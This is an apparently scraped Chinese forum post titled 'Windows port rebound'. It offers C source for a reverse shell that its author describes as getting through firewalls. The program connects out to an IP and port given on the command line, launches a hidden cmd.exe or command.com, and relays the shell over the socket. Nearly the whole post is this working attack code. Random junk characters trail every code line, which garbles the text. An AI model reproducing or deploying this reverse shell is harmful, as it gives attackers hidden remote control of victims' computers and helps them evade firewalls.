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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rrrn8b6  
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/* ============================== GmdS~Fhp  
Rebound port in Windows NT js[H $  
By wind,2006/7 tD+K4 ^  
===============================*/ =SK{|fBB  
#include *kq>Z 06'i  
#include ' p!\[* e  
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#pragma comment(lib,"wsock32.lib") P~@.(hed  
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void OutputShell(); 9$=o({  
SOCKET sClient; ` 7jdV  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D {N,7kT  
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void main(int argc,char **argv) ]}9D*V  
{ aMO+ y91Y(  
WSADATA stWsaData; +`+r\*C5  
int nRet; 87OX:6  
SOCKADDR_IN stSaiClient,stSaiServer; tW \q;_DSr  
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if(argc != 3) nD!5I@D  
{ te b/  
printf("Useage:\n\rRebound DestIP DestPort\n"); e$4$G<8;y  
return; kWxcB7)uk  
} OcZ8:`=%  
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WSAStartup(MAKEWORD(2,2),&stWsaData); !3Ed0h]Bfa  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~Aoo\fN_U  
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stSaiClient.sin_family = AF_INET; *6QmYq6c<  
stSaiClient.sin_port = htons(0); ,7^,\ ,-m  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Wu U_R E  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /u pDbP.O  
{ 822jZ sb  
printf("Bind Socket Failed!\n"); C^9bur/  
return; la*c/*  
} (nt=  
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stSaiServer.sin_family = AF_INET; {f[X)  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O;SD90  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V"W)u#4,  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :'K%&e?7s  
{ 9p%8VDF=  
printf("Connect Error!"); 0|OmQ\SQ  
return; tN&_f==e  
} FW,@.CX  
OutputShell(); BV512+M  
} b(?A^ a  
+I_p\/J?w/  
void OutputShell() @1tv/W  
{ }8?1)l  
char szBuff[1024]; JTfG^Nv>K  
SECURITY_ATTRIBUTES stSecurityAttributes; dx[kG  
OSVERSIONINFO stOsversionInfo;  FA#8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .+2@(r  
STARTUPINFO stStartupInfo; cP &XkAQ  
char *szShell; { , zg  
PROCESS_INFORMATION stProcessInformation; :Wmio\  
unsigned long lBytesRead; \ 0aa0=  
Q\{$&0McF  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `'}c- Q  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZY{zFg9  
stSecurityAttributes.lpSecurityDescriptor = 0; r^$WX@ t&  
stSecurityAttributes.bInheritHandle = TRUE; $ZfoJR]%  
:Tn1]a)f6  
c(!8L\69V}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EP}NT)z,{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2` j#eB1  
s5D<c'-  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q(7M_2e7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )ZQML0}P;  
stStartupInfo.wShowWindow = SW_HIDE; D$/*Z5Z)]  
stStartupInfo.hStdInput = hReadPipe; D_-<V,3t  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; AZ& ]@Ao  
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GetVersionEx(&stOsversionInfo); ,`;Dre  
HzD=F3\r|  
switch(stOsversionInfo.dwPlatformId) BZ -)XF'4  
{ Rln JlY/  
case 1: ?j-;;NNf  
szShell = "command.com"; E-XFW]I  
break; # vBS7ba  
default: UJ1Ecob  
szShell = "cmd.exe"; 3FpSo+  
break; q+}Er*r  
} BHEZ<K[U   
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b.sRB1  
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send(sClient,szMsg,77,0); m-)yQM8  
while(1) i0e aBG]I  
{ 0F|DD8tHR  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q2 @Ugt$  
if(lBytesRead) &a];"2  
{ u@eKh3!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {5N!udLDr5  
send(sClient,szBuff,lBytesRead,0); :c^9\8S  
} #E#.`/4  
else ~<&47'D  
{ ye-R  
lBytesRead=recv(sClient,szBuff,1024,0); _Vf0MU;3f+  
if(lBytesRead<=0) break; _/%,ZoZ2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); SwVdo|%.?  
} .*+KQ A8  
} )3RbD#?  
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return; L fx$M  
}
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